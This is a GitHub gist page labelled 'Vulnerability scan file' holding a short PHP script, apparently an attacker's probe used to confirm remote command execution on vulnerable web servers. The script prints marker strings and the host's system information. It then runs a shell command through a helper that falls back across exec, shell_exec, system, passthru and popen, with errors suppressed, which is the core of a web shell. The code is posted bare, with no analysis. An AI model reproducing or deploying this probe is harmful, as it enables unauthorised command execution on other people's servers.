Skip to content

Instantly share code, notes, and snippets.

@smottt
Created February 1, 2012 10:43
Show Gist options
  • Save smottt/1716435 to your computer and use it in GitHub Desktop.
Save smottt/1716435 to your computer and use it in GitHub Desktop.
Vulnerability scan file
<?php
echo "v0pCr3w";
echo "sys:".php_uname()."";
$cmd = "echo nob0dyCr3w";
$eseguicmd = ex($cmd);
echo $eseguicmd;
function ex($cfe)
{
$res = '';
if (!empty($cfe)) {
if (function_exists('exec')) {
@exec($cfe, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif (function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cfe, "r"))) {
$res = "";
while (!@feof($f)) {
$res .= @fread($f, 1024);
}
@pclose($f);
}
}
return $res;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment